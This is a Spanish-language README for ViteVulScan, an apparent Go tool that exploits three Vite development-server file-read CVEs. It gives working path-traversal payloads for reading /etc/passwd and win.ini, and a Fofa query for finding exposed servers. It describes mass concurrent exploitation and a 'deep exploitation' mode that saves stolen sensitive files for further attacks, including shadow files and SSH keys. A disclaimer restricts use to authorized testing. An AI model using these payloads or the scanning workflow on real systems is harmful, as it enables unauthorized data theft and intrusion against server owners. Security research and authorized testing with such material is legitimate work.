ViteVulScan

Introducción a las vulnerabilidades

Este proyecto cubre 3 vulnerabilidades: CVE-2025-30208 / CVE-2025-31125 / CVE-2025-31486, todas relacionadas con la lectura arbitraria de archivos en el servidor de desarrollo de Vite. Estas tres vulnerabilidades tienen una amplia cobertura y son fáciles de explotar sin restricciones.

PoC de las vulnerabilidades:

CVE-2025-30208：

Windows: /@fs/C://Windows/win.ini?import&raw??

Linux: /@fs/etc/passwd?import&raw??

CVE-2025-31125

Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/etc/passwd?import&?inline=1.wasm?init

CVE-2025-31486

Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init

La ruta /@fs no es obligatoria.

Sintaxis de búsqueda de Fofa:

body="/@vite/client"

Introducción al uso de la herramienta

Características de la herramienta

1. Puede integrarse con Fofa para explotación masiva.
2. Analiza las rutas exactas vulnerables y realiza explotación profunda.
3. Aprovecha al máximo la concurrencia de Go para realizar detección rápida por lotes de grandes cantidades de activos en poco tiempo.

Instrucciones de compilación

Versión de Go: go 1.20 o superior

Acceda al directorio raíz del proyecto.

Primero sincronice las dependencias:

go mod tidy

Luego compile el proyecto:

go build -o ViteVulScan -ldflags="-s -w" -trimpath .

Ejecute ./ViteVulScan para iniciar el script.

Por supuesto, también puede ejecutar el proyecto directamente en el directorio raíz:

go run .

Configuración

El script admite la integración con Fofa para buscar activos y luego realizar detección por lotes.

Para usar Fofa, asegúrese de que el archivo app.ini y el binario compilado estén en el mismo directorio, y modifique el archivo app.ini en el directorio config. Complete su clave de Fofa en el campo fofakey, y num es la cantidad aproximada de activos que desea detectar.

Si tiene una mejor sintaxis de búsqueda de Fofa para esta vulnerabilidad, puede modificar el campo fofaQuery.

Descripción de los parámetros de línea de comandos

Usage of ./ViteVulScan:

Notas

1. Para detectar por lotes todas las URLs objetivo en un archivo, asegúrese de que cada línea contenga una URL. La URL puede ser una URL completa con http, o un nombre de dominio o IP, por ejemplo:
   root@kitploit:~

     http://example1.com 
     example2.com
     127.0.0.1
   

2. Cuando se especifican los parámetros -fofa y -f para la detección, los activos vulnerables se guardarán automáticamente en el directorio actual con un nombre de archivo en formato "marca_de_tiempo_actual.csv".
3. También es compatible con la explotación en plataformas Linux y Windows. Los diccionarios utilizados son linux_sensitive_path.txt y windows_sensitive_path.txt en el directorio dict. Si hay más rutas sensibles, puede agregarlas usted mismo en los diccionarios correspondientes.

Ejemplos

Ejemplo 1: Integración con Fofa para detección por lotes:

./ViteVulScan -fofa

Después del escaneo, en el directorio result encontrará un archivo CSV con las URLs explotadas con éxito, nombrado con la marca de tiempo:

Ejemplo 2: Explotación profunda de URLs vulnerables:

./ViteVulScan -u example.com -e

Si se muestra 'Explotación exitosa', puede revisar el directorio result. Habrá un directorio con el nombre de la URL escaneada, y el contenido de los archivos sensibles escaneados se analiza y se guarda en la ruta correspondiente con el formato original. El resultado se muestra a continuación:

Tomando como ejemplo el contenido guardado en result/localhost:5173/etc/passwd, se puede ver que la información sensible completa se ha guardado para su posterior explotación (si se puede leer /etc/shadow o la clave privada SSH del servidor, se puede explotar aún más).

Descargo de responsabilidad

Esta herramienta está destinada únicamente a la investigación de seguridad y pruebas autorizadas. No la utilice con fines ilegales. El usuario asume toda la responsabilidad por cualquier consecuencia derivada del uso de esta herramienta para pruebas no autorizadas.

Actualizaciones

29 de marzo - Lanzamiento inicial:

• Implementación de la función de recopilación de activos de Fofa.
• Implementación de verificación por lotes con la vulnerabilidad CVE_2025_30208.
• Adición de función de análisis de línea de comandos.

1 de abril:

• Implementación de función de explotación profunda.

2 de abril:

• Adición de verificación para la vulnerabilidad recién publicada CVE_2025_31125.

9 de abril

• Corrección de errores en el módulo de Fofa.
• Adición de concurrencia para soportar detección rápida por lotes de activos vulnerables.
• Adición de verificación para CVE_2025_31486.
• Modificación de la estructura de archivos del proyecto.